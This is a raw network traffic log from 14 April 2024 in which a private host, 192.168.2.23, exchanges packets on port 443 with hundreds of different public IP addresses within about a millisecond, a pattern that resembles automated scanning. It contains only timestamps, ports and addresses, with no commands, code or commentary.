Apr 14, 2024 03:59:53.108261108 CEST	443	2135	37.244.214.18	192.168.2.23
Apr 14, 2024 03:59:53.108263016 CEST	443	2135	2.149.157.207	192.168.2.23
Apr 14, 2024 03:59:53.108263969 CEST	2135	443	192.168.2.23	148.200.184.209
Apr 14, 2024 03:59:53.108264923 CEST	443	2135	109.182.81.75	192.168.2.23
Apr 14, 2024 03:59:53.108267069 CEST	2135	443	192.168.2.23	117.161.135.125
Apr 14, 2024 03:59:53.108273029 CEST	443	2135	148.200.184.209	192.168.2.23
Apr 14, 2024 03:59:53.108273983 CEST	443	2135	94.237.123.208	192.168.2.23
Apr 14, 2024 03:59:53.108277082 CEST	2135	443	192.168.2.23	123.211.25.132
Apr 14, 2024 03:59:53.108278990 CEST	443	2135	212.92.217.39	192.168.2.23
Apr 14, 2024 03:59:53.108278990 CEST	443	2135	117.161.135.125	192.168.2.23
Apr 14, 2024 03:59:53.108285904 CEST	2135	443	192.168.2.23	212.24.72.12
Apr 14, 2024 03:59:53.108285904 CEST	2135	443	192.168.2.23	123.127.5.139
Apr 14, 2024 03:59:53.108292103 CEST	2135	443	192.168.2.23	2.230.156.2
Apr 14, 2024 03:59:53.108294010 CEST	2135	443	192.168.2.23	212.146.7.127
Apr 14, 2024 03:59:53.108294010 CEST	2135	443	192.168.2.23	37.25.23.190
Apr 14, 2024 03:59:53.108294964 CEST	443	2135	123.127.5.139	192.168.2.23
Apr 14, 2024 03:59:53.108298063 CEST	2135	443	192.168.2.23	37.244.214.18
Apr 14, 2024 03:59:53.108294010 CEST	2135	443	192.168.2.23	2.148.191.242
Apr 14, 2024 03:59:53.108299971 CEST	443	2135	2.230.156.2	192.168.2.23
Apr 14, 2024 03:59:53.108299017 CEST	2135	443	192.168.2.23	202.71.61.217
Apr 14, 2024 03:59:53.108302116 CEST	443	2135	212.146.7.127	192.168.2.23
Apr 14, 2024 03:59:53.108308077 CEST	2135	443	192.168.2.23	117.39.34.164
Apr 14, 2024 03:59:53.108308077 CEST	2135	443	192.168.2.23	2.149.157.207
Apr 14, 2024 03:59:53.108309984 CEST	443	2135	37.25.23.190	192.168.2.23
Apr 14, 2024 03:59:53.108319044 CEST	443	2135	117.39.34.164	192.168.2.23
Apr 14, 2024 03:59:53.108323097 CEST	2135	443	192.168.2.23	5.169.47.85
Apr 14, 2024 03:59:53.108323097 CEST	2135	443	192.168.2.23	37.127.229.172
Apr 14, 2024 03:59:53.108323097 CEST	2135	443	192.168.2.23	148.200.184.209
Apr 14, 2024 03:59:53.108324051 CEST	2135	443	192.168.2.23	212.92.217.39
Apr 14, 2024 03:59:53.108324051 CEST	2135	443	192.168.2.23	109.182.81.75
Apr 14, 2024 03:59:53.108330965 CEST	443	2135	2.148.191.242	192.168.2.23
Apr 14, 2024 03:59:53.108331919 CEST	443	2135	5.169.47.85	192.168.2.23
Apr 14, 2024 03:59:53.108333111 CEST	2135	443	192.168.2.23	94.237.123.208
Apr 14, 2024 03:59:53.108335018 CEST	2135	443	192.168.2.23	212.146.7.127
Apr 14, 2024 03:59:53.108335972 CEST	443	2135	37.127.229.172	192.168.2.23
Apr 14, 2024 03:59:53.108335018 CEST	2135	443	192.168.2.23	2.230.156.2
Apr 14, 2024 03:59:53.108340979 CEST	2135	443	192.168.2.23	123.127.5.139
Apr 14, 2024 03:59:53.108349085 CEST	2135	443	192.168.2.23	148.250.207.117
Apr 14, 2024 03:59:53.108349085 CEST	2135	443	192.168.2.23	117.161.135.125
Apr 14, 2024 03:59:53.108349085 CEST	2135	443	192.168.2.23	37.25.23.190
Apr 14, 2024 03:59:53.108360052 CEST	443	2135	148.250.207.117	192.168.2.23
Apr 14, 2024 03:59:53.108370066 CEST	2135	443	192.168.2.23	37.127.229.172
Apr 14, 2024 03:59:53.108375072 CEST	2135	443	192.168.2.23	2.148.191.242
Apr 14, 2024 03:59:53.108376980 CEST	2135	443	192.168.2.23	117.39.34.164
Apr 14, 2024 03:59:53.108376980 CEST	2135	443	192.168.2.23	5.169.47.85
Apr 14, 2024 03:59:53.108382940 CEST	2135	443	192.168.2.23	117.165.66.251
Apr 14, 2024 03:59:53.108382940 CEST	2135	443	192.168.2.23	37.91.163.41
Apr 14, 2024 03:59:53.108392000 CEST	443	2135	117.165.66.251	192.168.2.23
Apr 14, 2024 03:59:53.108398914 CEST	2135	443	192.168.2.23	79.4.58.108
Apr 14, 2024 03:59:53.108401060 CEST	2135	443	192.168.2.23	148.250.207.117
Apr 14, 2024 03:59:53.108402967 CEST	443	2135	37.91.163.41	192.168.2.23
Apr 14, 2024 03:59:53.108407021 CEST	443	2135	79.4.58.108	192.168.2.23
Apr 14, 2024 03:59:53.108421087 CEST	2135	443	192.168.2.23	210.234.204.180
Apr 14, 2024 03:59:53.108421087 CEST	2135	443	192.168.2.23	2.136.112.121
Apr 14, 2024 03:59:53.108424902 CEST	2135	443	192.168.2.23	178.220.77.234
Apr 14, 2024 03:59:53.108429909 CEST	443	2135	210.234.204.180	192.168.2.23
Apr 14, 2024 03:59:53.108438969 CEST	2135	443	192.168.2.23	117.165.66.251
Apr 14, 2024 03:59:53.108433008 CEST	443	2135	178.220.77.234	192.168.2.23
Apr 14, 2024 03:59:53.108438969 CEST	2135	443	192.168.2.23	37.91.163.41
Apr 14, 2024 03:59:53.108445883 CEST	2135	443	192.168.2.23	79.4.58.108
Apr 14, 2024 03:59:53.108448029 CEST	443	2135	2.136.112.121	192.168.2.23
Apr 14, 2024 03:59:53.108454943 CEST	2135	443	192.168.2.23	5.206.220.137
Apr 14, 2024 03:59:53.108460903 CEST	443	2135	5.206.220.137	192.168.2.23
Apr 14, 2024 03:59:53.108463049 CEST	2135	443	192.168.2.23	210.234.204.180
Apr 14, 2024 03:59:53.108464003 CEST	2135	443	192.168.2.23	94.88.25.228
Apr 14, 2024 03:59:53.108474016 CEST	443	2135	94.88.25.228	192.168.2.23
Apr 14, 2024 03:59:53.108483076 CEST	2135	443	192.168.2.23	2.136.112.121
Apr 14, 2024 03:59:53.108486891 CEST	2135	443	192.168.2.23	178.220.77.234
Apr 14, 2024 03:59:53.108494043 CEST	2135	443	192.168.2.23	210.1.185.235
Apr 14, 2024 03:59:53.108494997 CEST	2135	443	192.168.2.23	5.206.220.137
Apr 14, 2024 03:59:53.108499050 CEST	443	2135	210.1.185.235	192.168.2.23
Apr 14, 2024 03:59:53.108509064 CEST	2135	443	192.168.2.23	5.164.148.90
Apr 14, 2024 03:59:53.108516932 CEST	2135	443	192.168.2.23	94.88.25.228
Apr 14, 2024 03:59:53.108517885 CEST	2135	443	192.168.2.23	2.212.194.93
Apr 14, 2024 03:59:53.108517885 CEST	2135	443	192.168.2.23	117.110.178.155
Apr 14, 2024 03:59:53.108517885 CEST	2135	443	192.168.2.23	210.167.34.116
Apr 14, 2024 03:59:53.108520985 CEST	2135	443	192.168.2.23	118.140.101.185
Apr 14, 2024 03:59:53.108521938 CEST	443	2135	5.164.148.90	192.168.2.23
Apr 14, 2024 03:59:53.108526945 CEST	443	2135	118.140.101.185	192.168.2.23
Apr 14, 2024 03:59:53.108532906 CEST	443	2135	117.110.178.155	192.168.2.23
Apr 14, 2024 03:59:53.108534098 CEST	443	2135	2.212.194.93	192.168.2.23
Apr 14, 2024 03:59:53.108537912 CEST	2135	443	192.168.2.23	79.164.199.34
Apr 14, 2024 03:59:53.108537912 CEST	2135	443	192.168.2.23	94.76.0.33
Apr 14, 2024 03:59:53.108541012 CEST	443	2135	210.167.34.116	192.168.2.23
Apr 14, 2024 03:59:53.108541965 CEST	2135	443	192.168.2.23	178.150.178.138
Apr 14, 2024 03:59:53.108547926 CEST	2135	443	192.168.2.23	117.249.116.96
Apr 14, 2024 03:59:53.108549118 CEST	443	2135	79.164.199.34	192.168.2.23
Apr 14, 2024 03:59:53.108550072 CEST	443	2135	178.150.178.138	192.168.2.23
Apr 14, 2024 03:59:53.108552933 CEST	2135	443	192.168.2.23	148.221.126.110
Apr 14, 2024 03:59:53.108556032 CEST	443	2135	117.249.116.96	192.168.2.23
Apr 14, 2024 03:59:53.108563900 CEST	443	2135	148.221.126.110	192.168.2.23
Apr 14, 2024 03:59:53.108566999 CEST	443	2135	94.76.0.33	192.168.2.23
Apr 14, 2024 03:59:53.108568907 CEST	2135	443	192.168.2.23	118.140.101.185
Apr 14, 2024 03:59:53.108576059 CEST	2135	443	192.168.2.23	210.1.185.235
Apr 14, 2024 03:59:53.108577967 CEST	2135	443	192.168.2.23	42.255.38.127
Apr 14, 2024 03:59:53.108577967 CEST	2135	443	192.168.2.23	117.110.178.155
Apr 14, 2024 03:59:53.108577967 CEST	2135	443	192.168.2.23	2.212.194.93
Apr 14, 2024 03:59:53.108577967 CEST	2135	443	192.168.2.23	210.167.34.116
Apr 14, 2024 03:59:53.108580112 CEST	2135	443	192.168.2.23	5.164.148.90
Apr 14, 2024 03:59:53.108580112 CEST	2135	443	192.168.2.23	117.45.29.187
Apr 14, 2024 03:59:53.108584881 CEST	443	2135	42.255.38.127	192.168.2.23
Apr 14, 2024 03:59:53.108592033 CEST	443	2135	117.45.29.187	192.168.2.23
Apr 14, 2024 03:59:53.108597994 CEST	2135	443	192.168.2.23	178.150.178.138
Apr 14, 2024 03:59:53.108603954 CEST	2135	443	192.168.2.23	79.164.199.34
Apr 14, 2024 03:59:53.108603954 CEST	2135	443	192.168.2.23	94.76.0.33
Apr 14, 2024 03:59:53.108609915 CEST	2135	443	192.168.2.23	117.249.116.96
Apr 14, 2024 03:59:53.108611107 CEST	2135	443	192.168.2.23	148.221.126.110
Apr 14, 2024 03:59:53.108611107 CEST	2135	443	192.168.2.23	117.122.61.132
Apr 14, 2024 03:59:53.108619928 CEST	443	2135	117.122.61.132	192.168.2.23
Apr 14, 2024 03:59:53.108624935 CEST	2135	443	192.168.2.23	117.45.29.187
Apr 14, 2024 03:59:53.108630896 CEST	2135	443	192.168.2.23	178.80.110.103
Apr 14, 2024 03:59:53.108632088 CEST	2135	443	192.168.2.23	117.61.179.230
Apr 14, 2024 03:59:53.108640909 CEST	443	2135	117.61.179.230	192.168.2.23
Apr 14, 2024 03:59:53.108645916 CEST	2135	443	192.168.2.23	109.110.239.82
Apr 14, 2024 03:59:53.108647108 CEST	443	2135	178.80.110.103	192.168.2.23
Apr 14, 2024 03:59:53.108654022 CEST	443	2135	109.110.239.82	192.168.2.23
Apr 14, 2024 03:59:53.108659029 CEST	2135	443	192.168.2.23	178.53.38.88
Apr 14, 2024 03:59:53.108664989 CEST	443	2135	178.53.38.88	192.168.2.23
Apr 14, 2024 03:59:53.108666897 CEST	2135	443	192.168.2.23	42.255.38.127
Apr 14, 2024 03:59:53.108666897 CEST	2135	443	192.168.2.23	148.146.200.131
Apr 14, 2024 03:59:53.108666897 CEST	2135	443	192.168.2.23	94.204.29.188
Apr 14, 2024 03:59:53.108669996 CEST	2135	443	192.168.2.23	117.122.61.132
Apr 14, 2024 03:59:53.108673096 CEST	2135	443	192.168.2.23	202.90.2.30
Apr 14, 2024 03:59:53.108675003 CEST	443	2135	148.146.200.131	192.168.2.23
Apr 14, 2024 03:59:53.108679056 CEST	443	2135	202.90.2.30	192.168.2.23
Apr 14, 2024 03:59:53.108679056 CEST	2135	443	192.168.2.23	109.110.239.82
Apr 14, 2024 03:59:53.108681917 CEST	2135	443	192.168.2.23	178.80.110.103
Apr 14, 2024 03:59:53.108683109 CEST	443	2135	94.204.29.188	192.168.2.23
Apr 14, 2024 03:59:53.108695030 CEST	2135	443	192.168.2.23	148.2.6.18
Apr 14, 2024 03:59:53.108695984 CEST	2135	443	192.168.2.23	117.61.179.230
Apr 14, 2024 03:59:53.108695984 CEST	2135	443	192.168.2.23	109.168.131.234
Apr 14, 2024 03:59:53.108695984 CEST	2135	443	192.168.2.23	178.53.38.88
Apr 14, 2024 03:59:53.108700991 CEST	2135	443	192.168.2.23	210.15.63.45
Apr 14, 2024 03:59:53.108706951 CEST	2135	443	192.168.2.23	5.235.97.180
Apr 14, 2024 03:59:53.108706951 CEST	2135	443	192.168.2.23	148.184.54.87
Apr 14, 2024 03:59:53.108706951 CEST	2135	443	192.168.2.23	202.90.2.30
Apr 14, 2024 03:59:53.108709097 CEST	2135	443	192.168.2.23	37.53.18.148
Apr 14, 2024 03:59:53.108709097 CEST	443	2135	148.2.6.18	192.168.2.23
Apr 14, 2024 03:59:53.108709097 CEST	2135	443	192.168.2.23	148.146.200.131
Apr 14, 2024 03:59:53.108709097 CEST	2135	443	192.168.2.23	109.241.136.14
Apr 14, 2024 03:59:53.108712912 CEST	443	2135	148.184.54.87	192.168.2.23
Apr 14, 2024 03:59:53.108712912 CEST	443	2135	5.235.97.180	192.168.2.23
Apr 14, 2024 03:59:53.108716011 CEST	443	2135	210.15.63.45	192.168.2.23
Apr 14, 2024 03:59:53.108719110 CEST	443	2135	37.53.18.148	192.168.2.23
Apr 14, 2024 03:59:53.108721018 CEST	443	2135	109.168.131.234	192.168.2.23
Apr 14, 2024 03:59:53.108724117 CEST	443	2135	109.241.136.14	192.168.2.23
Apr 14, 2024 03:59:53.108728886 CEST	2135	443	192.168.2.23	2.12.223.112
Apr 14, 2024 03:59:53.108730078 CEST	2135	443	192.168.2.23	79.39.210.222
Apr 14, 2024 03:59:53.108736038 CEST	443	2135	2.12.223.112	192.168.2.23
Apr 14, 2024 03:59:53.108736038 CEST	2135	443	192.168.2.23	202.149.33.146
Apr 14, 2024 03:59:53.108737946 CEST	443	2135	79.39.210.222	192.168.2.23
Apr 14, 2024 03:59:53.108740091 CEST	2135	443	192.168.2.23	94.204.29.188
Apr 14, 2024 03:59:53.108742952 CEST	443	2135	202.149.33.146	192.168.2.23
Apr 14, 2024 03:59:53.108746052 CEST	2135	443	192.168.2.23	94.28.54.182
Apr 14, 2024 03:59:53.108748913 CEST	2135	443	192.168.2.23	148.184.54.87
Apr 14, 2024 03:59:53.108751059 CEST	2135	443	192.168.2.23	37.53.18.148
Apr 14, 2024 03:59:53.108752966 CEST	443	2135	94.28.54.182	192.168.2.23
Apr 14, 2024 03:59:53.108762026 CEST	2135	443	192.168.2.23	210.15.63.45
Apr 14, 2024 03:59:53.108764887 CEST	2135	443	192.168.2.23	5.235.97.180
Apr 14, 2024 03:59:53.108767033 CEST	2135	443	192.168.2.23	148.2.6.18
Apr 14, 2024 03:59:53.108767033 CEST	2135	443	192.168.2.23	109.168.131.234
Apr 14, 2024 03:59:53.108773947 CEST	2135	443	192.168.2.23	2.12.223.112
Apr 14, 2024 03:59:53.108773947 CEST	2135	443	192.168.2.23	109.241.136.14
Apr 14, 2024 03:59:53.108778954 CEST	2135	443	192.168.2.23	202.149.33.146
Apr 14, 2024 03:59:53.108786106 CEST	2135	443	192.168.2.23	79.39.210.222
Apr 14, 2024 03:59:53.108788013 CEST	2135	443	192.168.2.23	94.28.54.182
Apr 14, 2024 03:59:53.108803988 CEST	2135	443	192.168.2.23	123.41.98.244
Apr 14, 2024 03:59:53.108808994 CEST	2135	443	192.168.2.23	118.241.126.229
Apr 14, 2024 03:59:53.108809948 CEST	2135	443	192.168.2.23	117.104.182.151
Apr 14, 2024 03:59:53.108809948 CEST	2135	443	192.168.2.23	202.60.204.82
Apr 14, 2024 03:59:53.108812094 CEST	443	2135	123.41.98.244	192.168.2.23
Apr 14, 2024 03:59:53.108814955 CEST	443	2135	118.241.126.229	192.168.2.23
Apr 14, 2024 03:59:53.108825922 CEST	443	2135	117.104.182.151	192.168.2.23
Apr 14, 2024 03:59:53.108838081 CEST	443	2135	202.60.204.82	192.168.2.23
Apr 14, 2024 03:59:53.108845949 CEST	2135	443	192.168.2.23	212.186.92.254
Apr 14, 2024 03:59:53.108846903 CEST	2135	443	192.168.2.23	118.241.126.229
Apr 14, 2024 03:59:53.108846903 CEST	2135	443	192.168.2.23	123.41.98.244
Apr 14, 2024 03:59:53.108851910 CEST	443	2135	212.186.92.254	192.168.2.23
Apr 14, 2024 03:59:53.108855009 CEST	2135	443	192.168.2.23	37.138.32.122
Apr 14, 2024 03:59:53.108860016 CEST	443	2135	37.138.32.122	192.168.2.23
Apr 14, 2024 03:59:53.108867884 CEST	2135	443	192.168.2.23	117.104.182.151
Apr 14, 2024 03:59:53.108867884 CEST	2135	443	192.168.2.23	202.60.204.82
Apr 14, 2024 03:59:53.108875990 CEST	2135	443	192.168.2.23	5.176.165.106
Apr 14, 2024 03:59:53.108880997 CEST	443	2135	5.176.165.106	192.168.2.23
Apr 14, 2024 03:59:53.108889103 CEST	2135	443	192.168.2.23	42.174.185.191
Apr 14, 2024 03:59:53.108892918 CEST	2135	443	192.168.2.23	37.138.32.122
Apr 14, 2024 03:59:53.108896017 CEST	443	2135	42.174.185.191	192.168.2.23
Apr 14, 2024 03:59:53.108899117 CEST	2135	443	192.168.2.23	5.4.26.63
Apr 14, 2024 03:59:53.108905077 CEST	2135	443	192.168.2.23	212.186.92.254
Apr 14, 2024 03:59:53.108905077 CEST	2135	443	192.168.2.23	148.209.247.112
Apr 14, 2024 03:59:53.108907938 CEST	443	2135	5.4.26.63	192.168.2.23
Apr 14, 2024 03:59:53.108913898 CEST	2135	443	192.168.2.23	123.18.8.54
Apr 14, 2024 03:59:53.108916998 CEST	443	2135	148.209.247.112	192.168.2.23
Apr 14, 2024 03:59:53.108920097 CEST	2135	443	192.168.2.23	5.176.165.106
Apr 14, 2024 03:59:53.108922005 CEST	443	2135	123.18.8.54	192.168.2.23
Apr 14, 2024 03:59:53.108933926 CEST	2135	443	192.168.2.23	42.174.185.191
Apr 14, 2024 03:59:53.108936071 CEST	2135	443	192.168.2.23	117.176.85.197
Apr 14, 2024 03:59:53.108941078 CEST	443	2135	117.176.85.197	192.168.2.23
Apr 14, 2024 03:59:53.108943939 CEST	2135	443	192.168.2.23	79.176.102.179
Apr 14, 2024 03:59:53.108952045 CEST	2135	443	192.168.2.23	148.209.247.112
Apr 14, 2024 03:59:53.108956099 CEST	443	2135	79.176.102.179	192.168.2.23
Apr 14, 2024 03:59:53.108962059 CEST	2135	443	192.168.2.23	2.8.175.220
Apr 14, 2024 03:59:53.108962059 CEST	2135	443	192.168.2.23	123.18.8.54
Apr 14, 2024 03:59:53.108968973 CEST	2135	443	192.168.2.23	5.4.26.63
Apr 14, 2024 03:59:53.108973026 CEST	2135	443	192.168.2.23	117.176.85.197
Apr 14, 2024 03:59:53.108978987 CEST	2135	443	192.168.2.23	79.99.48.214
Apr 14, 2024 03:59:53.108980894 CEST	443	2135	2.8.175.220	192.168.2.23
Apr 14, 2024 03:59:53.108985901 CEST	443	2135	79.99.48.214	192.168.2.23
Apr 14, 2024 03:59:53.108987093 CEST	2135	443	192.168.2.23	148.38.107.136
Apr 14, 2024 03:59:53.108989000 CEST	2135	443	192.168.2.23	79.176.102.179
Apr 14, 2024 03:59:53.108994007 CEST	443	2135	148.38.107.136	192.168.2.23
Apr 14, 2024 03:59:53.108994961 CEST	2135	443	192.168.2.23	210.124.251.199
Apr 14, 2024 03:59:53.108994961 CEST	2135	443	192.168.2.23	178.24.184.67
Apr 14, 2024 03:59:53.108994961 CEST	2135	443	192.168.2.23	210.215.86.48
Apr 14, 2024 03:59:53.108999968 CEST	443	2135	210.124.251.199	192.168.2.23
Apr 14, 2024 03:59:53.109004021 CEST	443	2135	178.24.184.67	192.168.2.23
Apr 14, 2024 03:59:53.109009981 CEST	2135	443	192.168.2.23	37.212.2.177
Apr 14, 2024 03:59:53.109014988 CEST	443	2135	37.212.2.177	192.168.2.23
Apr 14, 2024 03:59:53.109019041 CEST	443	2135	210.215.86.48	192.168.2.23
Apr 14, 2024 03:59:53.109019041 CEST	2135	443	192.168.2.23	109.79.235.84
Apr 14, 2024 03:59:53.109025002 CEST	443	2135	109.79.235.84	192.168.2.23
Apr 14, 2024 03:59:53.109033108 CEST	2135	443	192.168.2.23	117.188.11.133
Apr 14, 2024 03:59:53.109033108 CEST	2135	443	192.168.2.23	123.66.239.51
Apr 14, 2024 03:59:53.109033108 CEST	2135	443	192.168.2.23	2.8.175.220
Apr 14, 2024 03:59:53.109034061 CEST	2135	443	192.168.2.23	79.99.48.214
Apr 14, 2024 03:59:53.109041929 CEST	2135	443	192.168.2.23	148.38.107.136
Apr 14, 2024 03:59:53.109042883 CEST	2135	443	192.168.2.23	210.124.251.199
Apr 14, 2024 03:59:53.109047890 CEST	443	2135	117.188.11.133	192.168.2.23
Apr 14, 2024 03:59:53.109049082 CEST	2135	443	192.168.2.23	109.79.235.84
Apr 14, 2024 03:59:53.109054089 CEST	443	2135	123.66.239.51	192.168.2.23
Apr 14, 2024 03:59:53.109055996 CEST	2135	443	192.168.2.23	37.212.2.177
Apr 14, 2024 03:59:53.109062910 CEST	2135	443	192.168.2.23	118.211.35.154
Apr 14, 2024 03:59:53.109066963 CEST	2135	443	192.168.2.23	123.72.237.56
Apr 14, 2024 03:59:53.109066963 CEST	2135	443	192.168.2.23	2.243.79.231
Apr 14, 2024 03:59:53.109066963 CEST	2135	443	192.168.2.23	178.24.184.67
Apr 14, 2024 03:59:53.109067917 CEST	2135	443	192.168.2.23	212.17.157.203
Apr 14, 2024 03:59:53.109069109 CEST	443	2135	118.211.35.154	192.168.2.23
Apr 14, 2024 03:59:53.109066963 CEST	2135	443	192.168.2.23	210.215.86.48
Apr 14, 2024 03:59:53.109066963 CEST	2135	443	192.168.2.23	37.77.109.70
Apr 14, 2024 03:59:53.109075069 CEST	443	2135	212.17.157.203	192.168.2.23
Apr 14, 2024 03:59:53.109078884 CEST	443	2135	123.72.237.56	192.168.2.23
Apr 14, 2024 03:59:53.109086990 CEST	443	2135	37.77.109.70	192.168.2.23
Apr 14, 2024 03:59:53.109090090 CEST	443	2135	2.243.79.231	192.168.2.23
Apr 14, 2024 03:59:53.109097004 CEST	2135	443	192.168.2.23	212.17.157.203
Apr 14, 2024 03:59:53.109098911 CEST	2135	443	192.168.2.23	117.188.11.133
Apr 14, 2024 03:59:53.109098911 CEST	2135	443	192.168.2.23	123.66.239.51
Apr 14, 2024 03:59:53.109100103 CEST	2135	443	192.168.2.23	123.35.74.48
Apr 14, 2024 03:59:53.109108925 CEST	2135	443	192.168.2.23	123.72.237.56
Apr 14, 2024 03:59:53.109111071 CEST	443	2135	123.35.74.48	192.168.2.23
Apr 14, 2024 03:59:53.109112024 CEST	2135	443	192.168.2.23	210.64.131.72
Apr 14, 2024 03:59:53.109113932 CEST	2135	443	192.168.2.23	42.87.18.13
Apr 14, 2024 03:59:53.109113932 CEST	2135	443	192.168.2.23	118.211.35.154
Apr 14, 2024 03:59:53.109119892 CEST	443	2135	42.87.18.13	192.168.2.23
Apr 14, 2024 03:59:53.109122038 CEST	443	2135	210.64.131.72	192.168.2.23
Apr 14, 2024 03:59:53.109126091 CEST	2135	443	192.168.2.23	202.160.80.89
Apr 14, 2024 03:59:53.109134912 CEST	2135	443	192.168.2.23	2.243.79.231
Apr 14, 2024 03:59:53.109136105 CEST	2135	443	192.168.2.23	210.39.152.176
Apr 14, 2024 03:59:53.109137058 CEST	443	2135	202.160.80.89	192.168.2.23
Apr 14, 2024 03:59:53.109136105 CEST	2135	443	192.168.2.23	148.128.57.123
Apr 14, 2024 03:59:53.109138966 CEST	2135	443	192.168.2.23	212.48.177.174
Apr 14, 2024 03:59:53.109142065 CEST	2135	443	192.168.2.23	37.77.109.70
Apr 14, 2024 03:59:53.109142065 CEST	2135	443	192.168.2.23	123.35.74.48
Apr 14, 2024 03:59:53.109143972 CEST	2135	443	192.168.2.23	42.87.18.13
Apr 14, 2024 03:59:53.109144926 CEST	443	2135	212.48.177.174	192.168.2.23
Apr 14, 2024 03:59:53.109148026 CEST	443	2135	210.39.152.176	192.168.2.23
Apr 14, 2024 03:59:53.109162092 CEST	443	2135	148.128.57.123	192.168.2.23
Apr 14, 2024 03:59:53.109167099 CEST	2135	443	192.168.2.23	178.16.249.254
Apr 14, 2024 03:59:53.109167099 CEST	2135	443	192.168.2.23	118.172.230.2
Apr 14, 2024 03:59:53.109170914 CEST	2135	443	192.168.2.23	118.46.119.183
Apr 14, 2024 03:59:53.109175920 CEST	2135	443	192.168.2.23	210.16.188.141
Apr 14, 2024 03:59:53.109177113 CEST	443	2135	178.16.249.254	192.168.2.23
Apr 14, 2024 03:59:53.109178066 CEST	2135	443	192.168.2.23	210.64.131.72
Apr 14, 2024 03:59:53.109178066 CEST	2135	443	192.168.2.23	210.39.152.176
Apr 14, 2024 03:59:53.109179974 CEST	443	2135	118.46.119.183	192.168.2.23
Apr 14, 2024 03:59:53.109180927 CEST	443	2135	210.16.188.141	192.168.2.23
Apr 14, 2024 03:59:53.109180927 CEST	2135	443	192.168.2.23	212.48.177.174
Apr 14, 2024 03:59:53.109188080 CEST	443	2135	118.172.230.2	192.168.2.23
Apr 14, 2024 03:59:53.109190941 CEST	2135	443	192.168.2.23	148.41.194.92
Apr 14, 2024 03:59:53.109191895 CEST	2135	443	192.168.2.23	202.160.80.89
Apr 14, 2024 03:59:53.109194994 CEST	2135	443	192.168.2.23	123.94.137.41
Apr 14, 2024 03:59:53.109195948 CEST	443	2135	148.41.194.92	192.168.2.23
Apr 14, 2024 03:59:53.109200954 CEST	2135	443	192.168.2.23	79.66.88.212
Apr 14, 2024 03:59:53.109205961 CEST	2135	443	192.168.2.23	212.222.184.177
Apr 14, 2024 03:59:53.109208107 CEST	443	2135	79.66.88.212	192.168.2.23
Apr 14, 2024 03:59:53.109208107 CEST	443	2135	123.94.137.41	192.168.2.23
Apr 14, 2024 03:59:53.109209061 CEST	2135	443	192.168.2.23	42.208.138.152
Apr 14, 2024 03:59:53.109210968 CEST	443	2135	212.222.184.177	192.168.2.23
Apr 14, 2024 03:59:53.109214067 CEST	443	2135	42.208.138.152	192.168.2.23
Apr 14, 2024 03:59:53.109224081 CEST	2135	443	192.168.2.23	178.16.249.254
Apr 14, 2024 03:59:53.109226942 CEST	2135	443	192.168.2.23	118.46.119.183
Apr 14, 2024 03:59:53.109227896 CEST	2135	443	192.168.2.23	148.41.194.92
Apr 14, 2024 03:59:53.109230042 CEST	2135	443	192.168.2.23	148.128.57.123
Apr 14, 2024 03:59:53.109241009 CEST	2135	443	192.168.2.23	5.212.239.44
Apr 14, 2024 03:59:53.109246016 CEST	2135	443	192.168.2.23	79.66.88.212
Apr 14, 2024 03:59:53.109246969 CEST	443	2135	5.212.239.44	192.168.2.23
Apr 14, 2024 03:59:53.109247923 CEST	2135	443	192.168.2.23	212.222.184.177
Apr 14, 2024 03:59:53.109247923 CEST	2135	443	192.168.2.23	118.172.230.2
Apr 14, 2024 03:59:53.109247923 CEST	2135	443	192.168.2.23	178.206.18.115
Apr 14, 2024 03:59:53.109247923 CEST	2135	443	192.168.2.23	123.94.137.41
Apr 14, 2024 03:59:53.109247923 CEST	2135	443	192.168.2.23	42.208.138.152
Apr 14, 2024 03:59:53.109249115 CEST	2135	443	192.168.2.23	117.114.130.164
Apr 14, 2024 03:59:53.109257936 CEST	443	2135	178.206.18.115	192.168.2.23
Apr 14, 2024 03:59:53.109261990 CEST	443	2135	117.114.130.164	192.168.2.23
Apr 14, 2024 03:59:53.109268904 CEST	2135	443	192.168.2.23	210.16.188.141
Apr 14, 2024 03:59:53.109272957 CEST	2135	443	192.168.2.23	148.183.66.134
Apr 14, 2024 03:59:53.109272957 CEST	2135	443	192.168.2.23	5.76.158.29
Apr 14, 2024 03:59:53.109282017 CEST	443	2135	148.183.66.134	192.168.2.23
Apr 14, 2024 03:59:53.109282017 CEST	2135	443	192.168.2.23	202.219.21.150
Apr 14, 2024 03:59:53.109283924 CEST	2135	443	192.168.2.23	79.32.148.113
Apr 14, 2024 03:59:53.109287977 CEST	443	2135	202.219.21.150	192.168.2.23
Apr 14, 2024 03:59:53.109288931 CEST	443	2135	79.32.148.113	192.168.2.23
Apr 14, 2024 03:59:53.109293938 CEST	443	2135	5.76.158.29	192.168.2.23
Apr 14, 2024 03:59:53.109298944 CEST	2135	443	192.168.2.23	178.206.18.115
Apr 14, 2024 03:59:53.109299898 CEST	2135	443	192.168.2.23	117.114.130.164
Apr 14, 2024 03:59:53.109302044 CEST	2135	443	192.168.2.23	5.212.239.44
Apr 14, 2024 03:59:53.109306097 CEST	2135	443	192.168.2.23	148.184.76.160
Apr 14, 2024 03:59:53.109306097 CEST	2135	443	192.168.2.23	212.208.243.224
Apr 14, 2024 03:59:53.109318018 CEST	443	2135	148.184.76.160	192.168.2.23
Apr 14, 2024 03:59:53.109319925 CEST	2135	443	192.168.2.23	37.92.120.72
Apr 14, 2024 03:59:53.109322071 CEST	2135	443	192.168.2.23	79.32.148.113
Apr 14, 2024 03:59:53.109323978 CEST	2135	443	192.168.2.23	148.183.66.134
Apr 14, 2024 03:59:53.109327078 CEST	443	2135	37.92.120.72	192.168.2.23
Apr 14, 2024 03:59:53.109329939 CEST	443	2135	212.208.243.224	192.168.2.23
Apr 14, 2024 03:59:53.109333038 CEST	2135	443	192.168.2.23	5.76.158.29
Apr 14, 2024 03:59:53.109354973 CEST	2135	443	192.168.2.23	37.92.120.72
Apr 14, 2024 03:59:53.109370947 CEST	2135	443	192.168.2.23	148.184.76.160
Apr 14, 2024 03:59:53.109371901 CEST	2135	443	192.168.2.23	5.183.24.144
Apr 14, 2024 03:59:53.109370947 CEST	2135	443	192.168.2.23	212.208.243.224
Apr 14, 2024 03:59:53.109374046 CEST	2135	443	192.168.2.23	202.219.21.150
Apr 14, 2024 03:59:53.109380960 CEST	443	2135	5.183.24.144	192.168.2.23
Apr 14, 2024 03:59:53.109381914 CEST	2135	443	192.168.2.23	79.10.245.21
Apr 14, 2024 03:59:53.109381914 CEST	2135	443	192.168.2.23	117.237.91.58
Apr 14, 2024 03:59:53.109389067 CEST	443	2135	79.10.245.21	192.168.2.23
